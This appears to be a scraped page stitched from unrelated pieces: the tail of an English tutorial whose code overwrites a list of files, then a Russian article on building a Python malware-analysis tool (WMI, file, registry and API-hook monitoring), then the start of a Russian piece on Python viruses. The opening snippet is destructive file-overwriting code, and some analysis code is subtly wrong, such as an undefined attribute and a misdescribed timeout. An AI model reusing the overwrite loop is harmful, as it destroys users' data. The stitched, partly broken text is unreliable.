    data = 'print("hello")n'

    for file in filenames:
        f = open(file, "w")
        f.write(data)
        f.close()

Both codes are available in GitHub.

that’s all folks, you can look at other security concept tutorials in python. I have created a repository for that. I am planning to provide security concepts by writing python codes. Please feel free to put a star if you like the repository.

https://github.com/shantoroy/intro-2-cybersecurity-in-python

Also, the associated blog post links are available in the ReadMe file over there.

Have a good day! Cheers!!!

References

  1. Viruses – From Newbie to pro
  2. os- Miscellaneous operating system interfaces

Утилита на Python для анализа вредоносных программ

В сегодняшней статье я покажу, как написать программу на Python для анализа вирусов и других вредоносных программ.

Еще по теме:

  • Сбор информации о системе удаленно с помощью Python
  • Как написать шифровальщик на Python
  • Как написать троян на Python

От­сле­живать про­цес­сы будем с помощью механиз­ма WMI. Это дела­ется дос­таточ­но прос­то:

import wmi

notify_filter = «creation»

process_watcher = wmi.WMI().Win32_Process.watch_for(notify_filter)

while True:

    new_process = process_watcher()

    print(new_process.Caption)

    print(new_process.CreationDate)

Здесь notify_filter может при­нимать сле­дующие зна­чения:

  • «operation» — реаги­руем на все воз­можные опе­рации с про­цес­сами;
  • «creation» — реаги­руем толь­ко на соз­дание (запуск) про­цес­са;
  • «deletion» — реаги­руем толь­ко на завер­шение (унич­тожение) про­цес­са;
  • «modification» — реаги­руем толь­ко на изме­нения в про­цес­се.

Да­лее (в треть­ей стро­ке) мы соз­даем объ­ект‑наб­людатель process_watcher, который будет сра­баты­вать каж­дый раз, ког­да нас­тупа­ет событие с про­цес­сами, опре­делен­ное в notify_filter (в нашем слу­чае при его запус­ке). Пос­ле чего мы в бес­конеч­ном цик­ле выводим имя вновь запущен­ного про­цес­са и вре­мя его запус­ка. Вре­мя пред­став­лено в виде стро­ки в фор­мате yyyymmddHHMMSS.mmmmmmsYYY (более под­робно об этом фор­мате мож­но почитать здесь), поэто­му для вывода вре­мени в более при­выч­ной фор­ме мож­но написать неч­то вро­де фун­кции пре­обра­зова­ния фор­мата вре­мени:

def date_time_format(date_time):

    year = date_time[:4]

    month = date_time[4:6]

    day = date_time[6:8]

    hour = date_time[8:10]

    minutes = date_time[10:12]

    seconds = date_time[12:14]

    return ‘{0}/{1}/{2} {3}:{4}:{5}’.format(day, month, year, hour, minutes, seconds)

Во­обще, делать такие вещи прос­то в бес­конеч­ном цик­ле не очень хорошо, поэто­му мы офор­мим все это в виде клас­са, что­бы потом запус­кать его в отдель­ном потоке. Таким обра­зом мы получим воз­можность отсле­живать в одном потоке, нап­ример, момен­ты соз­дания про­цес­сов, а в дру­гом — их унич­тожения. Итак, класс ProcessMonitor:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

class ProcessMonitor():

    def __init__(self, notify_filter=‘operation’):

        self._process_property = {

            ‘Caption’: None,

            ‘CreationDate’: None,

            ‘ProcessID’: None,

        }

        self._process_watcher = wmi.WMI().Win32_Process.watch_for(

            notify_filter

        )

    def update(self):

        process = self._process_watcher()

        self._process_property[‘EventType’] = process.event_type

        self._process_property[‘Caption’] = process.Caption

        self._process_property[‘CreationDate’] = process.CreationDate

        self._process_property[‘ProcessID’] = process.ProcessID

    @property

    def event_type(self):

        return self._process_property[‘EventType’]

    @property

    def caption(self):

        return self._process_property[‘Caption’]

    @property

    def creation_date(self):

        return date_time_format(self._process_property[‘CreationDate’])

    @property

    def process_id(self):

        return self._process_property[‘ProcessID’]

При ини­циали­зации клас­са мы соз­даем спи­сок свой­ств про­цес­са _process_property в виде сло­варя и опре­деля­ем объ­ект наб­людате­ля за про­цес­сами (при этом зна­чение notify_filter может быть опре­деле­но в момент ини­циали­зации клас­са и по умол­чанию задано как «operation»). Спи­сок свой­ств про­цес­са может быть рас­ширен (более под­робно о свой­ствах про­цес­сов мож­но почитать здесь).

Ме­тод update() обновля­ет поля _process_property, ког­да про­исхо­дит событие, опре­делен­ное зна­чени­ем notify_filter, а методы event_type, caption, creation_date и process_id поз­воля­ют получить зна­чения соот­ветс­тву­ющих полей спис­ка свой­ств про­цес­са (обра­ти вни­мание, что эти методы объ­явле­ны как свой­ства клас­са с исполь­зовани­ем декора­тора @property).

Те­перь это все мож­но запус­кать в отдель­ном потоке. Для начала соз­дадим класс Monitor, нас­леду­емый от клас­са Thread (из Python-модуля threading):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

from threading import Thread

import wmi

import pythoncom

...

# Не забываем вставить здесь описание класса ProcessMonitor

...

class Monitor(Thread):

    def __init__(self, action):

        self._action = action

        Thread.__init__(self)

    def run(self):

        pythoncom.CoInitialize()

        proc_mon = ProcessMonitor(self._action)

        while True:

            proc_mon.update()

            print(

                proc_mon.creation_date,

                proc_mon.event_type,

                proc_mon.name,

                proc_mon.process_id

            )

        pythoncom.CoUninitialize()

При желании цикл мож­но сде­лать пре­рыва­емым, нап­ример по нажатию какого‑либо сочета­ния кла­виш (для это­го нуж­но исполь­зовать воз­можнос­ти модуля keyboard и его фун­кции is_pressed()). Вмес­то вывода резуль­татов на экран мож­но писать резуль­тат работы прог­раммы в лог‑файл, для чего при­меня­ется соот­ветс­тву­ющая фун­кция, которую сле­дует исполь­зовать вмес­то print().

Да­лее уже мож­но запус­кать монито­ринг событий про­цес­сов в отдель­ных потоках:

# Отслеживаем события создания процессов

mon_creation = Monitor(‘creation’)

mon_creation.start()

# Отслеживаем события уничтожения процессов

mon_deletion = Monitor(‘deletion’)

mon_deletion.start()

В ито­ге получим при­мер­но сле­дующую кар­тину.

Ре­зуль­таты работы нашего Python-скрип­та для отсле­жива­ния событий соз­дания и унич­тожения про­цес­сов

Следим за файловыми операциями
Здесь, как мы и говори­ли в начале, мож­но пой­ти дву­мя путями: исполь­зовать спе­циали­зиро­ван­ные API-фун­кции Windows или воз­можнос­ти, пре­дос­тавля­емые механиз­мом WMI. В обо­их слу­чаях монито­ринг событий луч­ше выпол­нять в отдель­ном потоке, так же как мы сде­лали при отсле­жива­нии про­цес­сов. Поэто­му для начала опи­шем базовый класс FileMonitor, а затем от него нас­леду­ем класс FileMonitorAPI, в котором будем исполь­зовать спе­циали­зиро­ван­ные API-фун­кции Windows, и класс FileMonitorWMI, в котором при­меним механиз­мы WMI.

Итак, наш базовый класс будет выг­лядеть при­мер­но так:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

class FileMonitor:

    def __init__(self, notify_filter, **kwargs):

        self._notify_filter = notify_filter

        self._kwargs = kwargs

        self._event_properties = {

            ‘Drive’: None,

            ‘Path’: None,

            ‘FileName’: None,

            ‘Extension’: None,

            ‘Timestamp’: None,

            ‘EventType’: None,

        }

    @property

    def drive(self):

        return self._event_properties[‘Drive’]

    @property

    def path(self):

        return self._event_properties[‘Path’]

    @property

    def file_name(self):

        return self._event_properties[‘FileName’]

    @property

    def extension(self):

        return self._event_properties[‘Extension’]

    @property

    def timestamp(self):

        return self._event_properties[‘Timestamp’]

    @property

    def event_type(self):

        return self._event_properties[‘EventType’]

Здесь при ини­циали­зации так­же исполь­зует­ся параметр notify_filter (его воз­можные зна­чения опре­деля­ются в зависи­мос­ти от того, исполь­зуют­ся API или WMI) и параметр **kwargs, с помощью которо­го опре­деля­ется путь к отсле­жива­емо­му фай­лу или катало­гу, его имя, рас­ширение и про­чее. Эти зна­чения так­же зависят от исполь­зования API или WMI и будут кон­кре­тизи­рова­ны уже в клас­сах‑нас­ледни­ках. При ини­циали­зации клас­са соз­дает­ся сло­варь _event_property для хра­нения свой­ств события: имя дис­ка, путь к фай­лу, имя фай­ла, рас­ширение, мет­ка вре­мени и тип события (по ана­логии с клас­сом монито­рин­га событий про­цес­сов). Ну а с осталь­ными метода­ми нашего базово­го клас­са, я думаю, все и так понят­но: они поз­воля­ют получить зна­чения соот­ветс­тву­юще­го поля из сло­варя свой­ств события.

Используем API Windows

В осно­ву это­го вари­анта реали­зации монито­рин­га будет положе­на фун­кция WaitForSingleObject(). Упо­мяну­тая фун­кция занима­ется тем, что ждет, ког­да объ­ект (хендл которо­го передан в качес­тве пер­вого парамет­ра) перей­дет в сиг­наль­ное сос­тояние, и воз­вра­щает WAIT_OBJECT_0, ког­да объ­ект изме­нит свое сос­тояние. Помимо этой фун­кции, в Windows есть весь­ма полез­ная фун­кция ReadDirectoryChangesW(), наз­начение которой — сле­дить за изме­нени­ями фай­ла или катало­га, ука­зан­ного в одном из парамет­ров фун­кции. Так­же в про­цес­се монито­рин­га мы задей­ству­ем API CreateFile() и CreateEvent().

Итак, нач­нем.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

# Подключим все необходимые модули

import pywintypes

import win32api

import win32event

import win32con

import win32file

import winnt

class FileMonitorAPI(FileMonitor):

    def __init__(self, notify_filter = ‘FileNameChange’, **kwargs):

        # Здесь в качестве **kwargs необходимо указывать

        # путь к файлу или директории

        # в виде «Path=r’e:\example\file.txt'»

        FileMonitor.__init__(self, notify_filter, **kwargs)

        # Получаем хендл нужного файла или каталога

        self._directory = win32file.CreateFile(

            self._kwargs[‘Path’],

            winnt.FILE_LIST_DIRECTORY,

            win32con.FILE_SHARE_READ |

            win32con.FILE_SHARE_WRITE,

            None,

            win32con.OPEN_EXISTING,

            win32con.FILE_FLAG_BACKUP_SEMANTICS |

            win32con.FILE_FLAG_OVERLAPPED,

            None

        )

        # Инициализируем структуру типа OVERLAPPED

        self._overlapped = pywintypes.OVERLAPPED()

        # и поместим в нее хендл объекта «событие» в сброшенном состоянии

        self._overlapped.hEvent = win32event.CreateEvent(

            None,

            False,

            False,

            None

        )

        # Выделим память, куда будет записана информация

        # об отслеживаемом файле или каталоге

        self._buffer  = win32file.AllocateReadBuffer(1024)

        # Здесь будет число байтов сведений о файле или каталоге,

        # записанных при наступлении события

        self._num_bytes_returned = 0

        # Установим «наблюдатель» за событиями (его мы опишем ниже)

        self._set_watcher()

Зна­чения парамет­ра notify_filter кор­релиру­ют с кон­стан­тами FILE_NOTIFY_CHANGE_FILE_NAME, FILE_NOTIFY_CHANGE_DIR_NAME или FILE_NOTIFY_CHANGE_LAST_WRITE. Для их пре­обра­зова­ния мы ниже опи­шем спе­циаль­ный метод. Так­же опре­делим метод update(), с помощью которо­го и будем обновлять све­дения о про­изо­шед­шем событии.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

def update(self):

    while True:

        # Ждем наступления события (поскольку второй параметр 0, то время

        # ожидания бесконечно)

        result = win32event.WaitForSingleObject(self._overlapped.hEvent, 0)

        if result == win32con.WAIT_OBJECT_0:

            # Если событие произошло, то получим размер сохраненных сведений о событии

            self._num_bytes_returned = win32file.GetOverlappedResult(

                self._directory,

                self._overlapped,

                True

            )

            # Поместим информацию о событии в _event_properties

            self._event_properties[‘Path’] = self._get_path()

            self._event_properties[‘FileName’] = self._get_file_name()

            ...

            self._set_watcher()

            break

На­пишем метод уста­нов­ки «наб­людате­ля» за событи­ями в фай­ловой сис­теме (в ней мы задей­ству­ем фун­кцию ReadDirectoryChangesW()):

def _set_watcher(self):

        win32file.ReadDirectoryChangesW(

            self._directory,

            self._buffer,

            True,

            self._get_notify_filter_const(),

            self._overlapped,

            None

        )

Пос­коль­ку в качес­тве одно­го из парамет­ров ReadDirectoryChangesW() при­нима­ет кон­стан­ты, опре­деля­ющие тип отсле­жива­емо­го события, то опре­делим метод, пре­обра­зующий зна­чения парамет­ра notify_filter в ука­зан­ные кон­стан­ты.

def _get_notify_filter_const(self):

    if self._notify_filter == ‘FileNameChange’:

        return win32con.FILE_NOTIFY_CHANGE_FILE_NAME

    ...

Здесь для прос­тоты показа­но пре­обра­зова­ние в кон­стан­ту толь­ко одно­го зна­чения
notify_filter, по ана­логии мож­но опи­сать пре­обра­зова­ние дру­гих зна­чений
notify_filter в кон­стан­ты
FILE_NOTIFY_CHANGE_DIR_NAME или 
FILE_NOTIFY_CHANGE_LAST_WRITE.

Да­лее опре­делим методы, воз­вра­щающие сох­ранен­ные в буфере _buffer свой­ства события при нас­тупле­нии это­го события. Воз­вра­щающий тип события метод выг­лядит так:

def _get_event_type(self):

    result = »

    if self._num_bytes_returned != 0:

        result = self._ACTIONS.get(win32file.FILE_NOTIFY_INFORMATION(

            self._buffer, self._num_bytes_returned)[0][0], ‘Uncnown’)

    return result

В этом методе исполь­зует­ся кон­стан­та _ACTIONS, содер­жащая воз­можные дей­ствия с отсле­жива­емым фай­лом или катало­гом. Эта кон­стан­та опре­деле­на в виде сло­варя сле­дующим обра­зом:

_ACTIONS = {

    0x00000000: ‘Unknown action’,

    0x00000001: ‘Added’,

    0x00000002: ‘Removed’,

    0x00000003: ‘Modified’,

    0x00000004: ‘Renamed from file or directory’,

    0x00000005: ‘Renamed to file or directory’

}

Ме­тод, воз­вра­щающий путь к отсле­жива­емо­му фай­лу:

def _get_path(self):

    result = »

    if self._num_bytes_returned != 0:

        result = win32file.GetFinalPathNameByHandle(

            self._directory,

            win32con.FILE_NAME_NORMALIZED

        )

    return result

Ме­тод, воз­вра­щающий имя отсле­жива­емо­го фай­ла, которое было сох­ранено в _buffer при нас­тупле­нии события:

def _get_file_name(self):

    result = »

    if self._num_bytes_returned != 0:

        result = win32file.FILE_NOTIFY_INFORMATION(

            self._buffer, self._num_bytes_returned)[0][1]

    return result

За­дей­ство­вать это все мож­но сле­дующим обра­зом (по ана­логии с монито­рин­гом про­цес­сов):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

from threading import Thread

import pywintypes

import win32api

import win32event

import win32con

import win32file

import winnt

...

# Не забываем вставить здесь описание классов FileMonitor и FileMonitorAPI

...

# Опишем класс Monitor, наследуемый от Thread

class Monitor(Thread):

    def __init__(self):

        Thread.__init__(self)

    def run(self):

        # Используем значение notify_filter по умолчанию

        file_mon = pymonitor.FileMonitorAPI(Path=r‘e:\example’)

        while True:

            file_mon.update()

            print(file_mon.timestamp,

                file_mon.path,

                file_mon.file_name,

                file_mon.event_type

            )

# Создадим экземпляр класса Monitor

mon = Monitor()

# Запустим процесс мониторинга

mon.start()

Используем WMI

Мо­нито­ринг событий фай­ловой сис­темы с исполь­зовани­ем WMI похож на ранее рас­смот­ренное отсле­жива­ние событий с про­цес­сами. Для того что­бы сле­дить за изме­нени­ями кон­крет­ного фай­ла, вос­поль­зуем­ся сле­дующим кодом:

import wmi

notify_filter = «creation»

# «Наблюдатель» за изменениями в файле

file_watcher = wmi.WMI().CIM_DataFile.watch_for(

    notify_filter, Drive = ‘e:’, Path=r‘\example_dir\’, FileName=‘example_file’, Extension = ‘txt’

)

while True:

    # Выводим информацию о событии с файлом

    new_file = file_watcher()

    print(new_file.timestamp)

    print(new_file.event_type)

Здесь вид­но, что, помимо парамет­ра notify_filter, еще переда­ются парамет­ры, опре­деля­ющие файл, события которо­го необ­ходимо отсле­живать. Обра­ти вни­мание на осо­бен­ность написа­ния парамет­ра Path с модифи­като­ром r (он нужен для того, что­бы получить тре­буемое количес­тво сле­шей‑раз­делите­лей в стро­ке).

Для отсле­жива­ния изме­нений в катало­ге, а не в фай­ле вмес­то клас­са CIM_DataFile необ­ходимо исполь­зовать класс CIM_Directory (более под­робно о работе с фай­ловой сис­темой с помощью WMI мож­но почитать здесь):

directory_watcher = wmi.WMI().CIM_Directory.watch_for(

    notify_filter, Drive = ‘e:’, Path=r‘\example_dir\’

)

Ко­неч­но, все это желатель­но офор­мить в виде клас­са — нас­ледни­ка от нашего базово­го клас­са FileMonitor, опи­сан­ного выше, что­бы монито­ринг событий фай­ловой сис­темы мож­но было запус­тить в отдель­ном потоке. В целом пол­ную реали­зацию опи­сан­ных клас­сов по монито­рин­гу фай­ловой сис­темы мож­но пос­мотреть на моем гит­хабе.

Мониторим действия с реестром
Так же как и события фай­ловой сис­темы, события реес­тра мож­но отсле­живать либо с помощью спе­циали­зиро­ван­ных API-фун­кций, либо с исполь­зовани­ем механиз­мов WMI. Пред­лагаю, как и в слу­чае с событи­ями фай­ловой сис­темы, начать с написа­ния базово­го клас­са RegistryMonitir, от которо­го нас­ледовать клас­сы RegistryMonitorAPI и RegistryMomitorWMI:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

class RegistryMonitor:

    def __init__(self, notify_filter, **kwargs):

        self._notify_filter = notify_filter

        self._kwargs = kwargs

        self._event_properties = {

            ‘Hive’: None,

            ‘RootPath’: None,

            ‘KeyPath’: None,

            ‘ValueName’: None,

            ‘Timestamp’: None,

            ‘EventType’: None,

        }

    @property

    def hive(self):

        return self._event_properties[‘Hive’]

    @property

    def root_path(self):

        return self._event_properties[‘RootPath’]

    @property

    def key_path(self):

        return self._event_properties[‘KeyPath’]

    @property

    def value_name(self):

        return self._event_properties[‘ValueName’]

    @property

    def timestamp(self):

        return self._event_properties[‘Timestamp’]

    @property

    def event_type(self):

        return self._event_properties[‘EventType’]

Здесь в **kwargs переда­ются парамет­ры Hive, RootPath, KeyPath и ValueName, зна­чения которых и опре­деля­ют мес­то в реес­тре, за которым мы будем сле­дить. Зна­чение парамет­ра notify_filter, как и в пре­дыду­щих слу­чаях, опре­деля­ет отсле­жива­емые дей­ствия.

Используем API

Здесь мы так же, как и в слу­чае с фай­ловой сис­темой, исполь­зуем связ­ку API-фун­кций CreateEvent() и WaitForSingleObject(). При этом хендл отсле­жива­емо­го объ­екта получим с исполь­зовани­ем RegOpenKeyEx() со зна­чени­ем пос­ледне­го парамет­ра (которым опре­деля­ется дос­туп к жела­емо­му клю­чу реес­тра):

class RegistryMonitorAPI(RegistryMonitor):

    def __init__(self, notify_filter=‘UnionChange’, **kwargs):

        RegistryMonitor.__init__(self, notify_filter, **kwargs)

        # Создаем объект «событие»

        self._event = win32event.CreateEvent(None, False, False, None)

        # Открываем нужный ключ с правами доступа на уведомление изменений

        self._key = win32api.RegOpenKeyEx(

            self._get_hive_const(),

            self._kwargs[‘KeyPath’],

            0,

            win32con.KEY_NOTIFY

        )

        # Устанавливаем наблюдатель

        self._set_watcher()

Фун­кция _get_hive_const() пре­обра­зует имя кус­та реес­тра в соот­ветс­тву­ющую кон­стан­ту (HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS или HKEY_CURRENT_CONFIG):

def _get_hive_const(self):

    if self._kwargs[‘Hive’] == ‘HKEY_CLASSES_ROOT’:

        return win32con.HKEY_CLASSES_ROOT

    ...

    if self._kwargs[‘Hive’] == ‘HKEY_CURRENT_CONFIG’:

        return win32con.HKEY_CURRENT_CONFIG

Сам же «наб­людатель» реали­зуем с помощью API-фун­кции RegNotifyChangeKeyValue():

def _set_watcher(self):

    win32api.RegNotifyChangeKeyValue(

        self._key,

        True,

        self._get_notify_filter_const(),

        self._event,

        True

    )

Здесь _get_notify_filter(), исхо­дя из зна­чения notify_filter, выда­ет кон­стан­ту, опре­деля­ющую событие, на которое будет реак­ция (REG_NOTIFY_CHANGE_NAME, REG_NOTIFY_CHANGE_LAST_SET), или их дизъ­юнкцию:

def _get_notify_filter_const(self):

    if self._notify_filter == ‘NameChange’:

        return win32api.REG_NOTIFY_CHANGE_NAME

    if self._notify_filter == ‘LastSetChange’:

        return win32api.REG_NOTIFY_CHANGE_LAST_SET

    if self._notify_filter == ‘UnionChange’:

        return (

            win32api.REG_NOTIFY_CHANGE_NAME |

            win32api.REG_NOTIFY_CHANGE_LAST_SET

        )

Ме­тод update() прак­тичес­ки пол­ностью пов­торя­ет таковой из клас­са FileMonitorAPI().

def update(self):

    while True:

        result = win32event.WaitForSingleObject(self._event, 0)

        if result == win32con.WAIT_OBJECT_0:

            self._event_properties[‘Hive’] = self._kwargs[‘Hive’]

            self._event_properties[‘KeyPath’] = self._kwargs[‘KeyPath’]

            ...

            self._set_watcher()

            break

Во­обще, у API-фун­кций, пред­назна­чен­ных для отсле­жива­ния изме­нений в фай­ловой сис­теме или в реес­тре, есть осо­бен­ность, зак­люча­ющаяся в том, что зна­чение вре­мени нас­тупле­ния события сами эти фун­кции не фик­сиру­ют (в отли­чие от клас­сов WMI), и в слу­чае необ­ходимос­ти это надо делать самому (к при­меру, исполь­зуя datatime).

timestamp = datetime.datetime.fromtimestamp(

    datetime.datetime.utcnow().timestamp()

)

Дан­ный кусочек кода необ­ходимо вста­вить в метод update() (как клас­са FileMonitorAPI, так и клас­са RegistryMonitorAPI) пос­ле про­вер­ки усло­вия появ­ления события, и в перемен­ной timestamp запишет­ся соот­ветс­тву­ющее вре­мя.

Используем WMI

Здесь име­ется два отли­чия отно­ситель­но клас­са FileMonitorWMI. Пер­вое: события, свя­зан­ные с реес­тром, явля­ются внеш­ними (в то вре­мя как события, свя­зан­ные с про­цес­сами и фай­ловой сис­темой, — внут­ренние). Вто­рое: для монито­рин­га изме­нений в вет­ке реес­тра, клю­че реес­тра или зна­чении, записан­ном в какой‑либо ключ, необ­ходимо исполь­зовать раз­ные клас­сы WMI: RegistryTreeChangeEvent, RegistryKeyChangeEvent или RegistryValueChangeEvent.

Со­ответс­твен­но, уста­нов­ка «наб­людате­ля» при ини­циали­зации экзем­пля­ра клас­са RegisterMonitorWMI в дан­ном слу­чае будет выг­лядеть так:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

def __init__(self, notify_filter=‘ValueChange’, **kwargs):

    RegistryMonitor.__init__(self, notify_filter, **kwargs)

    # Подключаем пространство имен с классами внешних событий

    wmi_obj = wmi.WMI(namespace=‘root/DEFAULT’)

    # Мониторим изменения ветки реестра

    if notify_filter == ‘TreeChange’:

        self._watcher = wmi_obj.RegistryTreeChangeEvent.watch_for(

            Hive=self._kwargs[‘Hive’],

            RootPath=self._kwargs[‘RootPath’],

        )

    # Мониторим изменения ключа реестра

    elif notify_filter == ‘KeyChange’:

        self._watcher = wmi_obj.RegistryKeyChangeEvent.watch_for(

                Hive=self._kwargs[‘Hive’],

                KeyPath=self._kwargs[‘KeyPath’],

            )

    # Мониторим изменения значения

    elif notify_filter == ‘ValueChange’:

        self._watcher = wmi_obj.RegistryValueChangeEvent.watch_for(

                Hive=self._kwargs[‘Hive’],

               KeyPath=self._kwargs[‘KeyPath’],

               ValueName=self._kwargs[‘ValueName’],

           )

Все осталь­ное (в том чис­ле и метод update()), в прин­ципе, очень похоже на FileMonitorWMI. Пол­ностью всю реали­зацию клас­сов RegisterMonitor, RegisterMonitorAPI и RegisterMonitorWMI мож­но пос­мотреть здесь.

Мониторим вызовы API-функций

Здесь, как мы и говори­ли, нам понадо­бит­ся WinAppDbg. Вооб­ще, с помощью это­го модуля мож­но не толь­ко перех­ватывать вызовы API-фун­кций, но и делать очень мно­го дру­гих полез­ных вещей (более под­робно об этом мож­но узнать в докумен­тации WinAppDbg). К сожале­нию, помимо того что модуль ори­енти­рован исклю­читель­но для работы со вто­рой вер­сией Python, он исполь­зует стан­дар­тный механизм отладки Windows. Поэто­му если ана­лизи­руемая прог­рамма осна­щена хотя бы прос­тей­шим модулем анти­отладки (а об этих модулях мож­но почитать, нап­ример, в стать­ях «Ан­тиот­ладка. Теория и прак­тика защиты при­ложе­ний от дебага» и «Биб­лиоте­ка анти­отладчи­ка)», то перех­ватить вызовы API не получит­ся. Тем не менее это весь­ма мощ­ный инс­тру­мент, потому знать о его сущес­тво­вании и хотя бы в минималь­ной сте­пени овла­деть его воз­можнос­тями будет весь­ма полез­но.

Итак, для перех­вата API-фун­кции будем исполь­зовать класс EventHandler, от которо­го нас­леду­ем свой класс (назовем его, к при­меру APIIntercepter). В нем мы реали­зуем нуж­ные нам фун­кции.

# Не забудем подключить нужные модули

from winappdbg import Debug, EventHandler

from winappdbg.win32 import *

class APIIntercepter(EventHandler):

    # Будем перехватывать API-функцию GetProcAddress из kernel32.dll

    apiHooks = {

        ‘kernel32.dll’ : [

            (‘GetProcAddress’, (HANDLE, PVOID)),

        ],

    }

Как вид­но, в сос­таве клас­са EventHandler опре­делен сло­варь apiHooks, в который при опи­сании клас­са‑нас­ледни­ка необ­ходимо про­писать все перех­ватыва­емые фун­кции, не забыв про наз­вания DLL-биб­лиотек. Фор­ма записи сле­дующая:

‘<имя DLL-библиотеки_1>’ : [

    (‘<имя API-функции_1>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...),

    (‘<имя API-функции_2>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...),

    (‘<имя API-функции_3>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...),

    ...

],

‘<имя DLL-библиотеки_2>’ : [

    (‘<имя API-функции_1>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...),

    (‘<имя API-функции_2>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...),

    (‘<имя API-функции_3>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...),

    ...

],

...

Что­бы пра­виль­но сфор­мировать дан­ный сло­варь, нуж­но знать про­тоти­пы перех­ватыва­емых фун­кций (то есть перечень и типы переда­ваемых в фун­кции парамет­ров). Все это мож­но пос­мотреть в MSDN.

Пос­ле того как мы опре­дели­лись с переч­нем перех­ватыва­емых фун­кций, необ­ходимо для каж­дой перех­ватыва­емой API-фун­кции написать два метода: пер­вый будет сра­баты­вать при вызове фун­кции, вто­рой — при завер­шении ее работы. Для фун­кции GetProcAddress() эти методы выг­лядят так:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

# Вызывается при вызове GetProcAddress

def pre_GetProcAddress(self, event, retaddr, hModule, lpProcName):

    # Выводим информацию при запуске функции

    # Получаем имя переданной в GetProcAddress в качестве параметра функции

    string = event.get_process().peek_string(lpProcName)

    # Получаем ID потока, в котором произошел вызов GetProcAddress

    tid    = event.get_tid()

    # Выводим это все на экран

    print «%d: Call GetProcAddress: %s» % (tid, string)

# Вызывается при завершении GetProcAddress

def post_GetProcAddress(self, event, retval):

    # Выводим информацию по завершении функции

    # Получаем ID потока, в котором произошел вызов GetProcAddress

    tid = event.get_tid()

    # Проверяем наличие возвращаемого значения

    if retval:

        # Если возвращаемое значение не None, выводим его на экран

        print «%d: Success. Return value: %x» % (tid, retval)

    else:

        print «%d: Failed!» % tid

В метод pre_GetProcAddress пер­вым парамет­ром переда­ется объ­ект event, вто­рым — адрес воз­вра­та, треть­им и пос­леду­ющи­ми — парамет­ры перех­ватыва­емой фун­кции (здесь это прос­то перемен­ные, зна­чения которых будут записа­ны пос­ле оче­ред­ного вызова перех­ватыва­емой фун­кции, пос­ле чего их мож­но вывес­ти с помощью print). В метод post_GetProcAddress() пер­вым парамет­ром так­же переда­ется объ­ект event, вто­рым — воз­вра­щаемое перех­ватыва­емой фун­кци­ей зна­чение (реаль­ные зна­чения туда будут записа­ны пос­ле завер­шения работы перех­вачен­ной API-фун­кции).

Да­лее напишем фун­кцию, которая и уста­новит опи­сан­ный нами перех­ватчик:

def set_api_interceptor(argv):

    # Создаем экземпляр объекта Debug, передав ему экземпляр APIIntercepter

    with Debug(APIIntercepter(), bKillOnExit=True) as debug:

        # Запустим анализируемую программу в режиме отладки

        # Путь к анализируемой программе должен быть в argv

        debug.execv(argv)

        # Ожидаем, пока не закончится отладка

        debug.loop()

И запус­тим эту фун­кцию:

import sys

set_api_interceptor(sys.argv[1:])

В ито­ге дол­жна получить­ся при­мер­но такая кар­тина.

Пе­рех­ват фун­кции GetProcAddress (вид­но, что ана­лизи­руемый файл, ско­рее все­го, пыта­ется внед­рить что‑то в уда­лен­ный поток)
В методах, вызыва­емых при вызове и завер­шении работы API-фун­кции (в нашем слу­чае это pre_GetProcAddress() и post_GetProcAddress()), мож­но прог­рамми­ровать какие угод­но дей­ствия, а не толь­ко вывод информа­ции о вызове API-фун­кции, как это сде­лали мы.

Заключение

Исполь­зуя Python и нес­коль­ко полез­ных пакетов, мож­но получить доволь­но боль­шой объ­ем информа­ции о событи­ях, про­исхо­дящих в сис­теме при запус­ке той или иной прог­раммы. Конеч­но, все это желатель­но делать в изо­лиро­ван­ном окру­жении (осо­бен­но если ана­лизи­ровать край­не подоз­ритель­ные прог­раммы).

Пол­ностью написан­ный код клас­сов ана­лиза событий про­цес­сов, фай­ловой сис­темы и реес­тра мож­но пос­мотреть на моем гит­хабе. Он так­же при­сутс­тву­ет в PyPi, что поз­воля­ет уста­новить его коман­дой pip install pywinwatcher и исполь­зовать по сво­ему усмотре­нию.

В мире  существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести  хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому  списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях?  Желание нагадить ближнему без необходимости учить C/C++?  Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные  питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами  (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть  продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

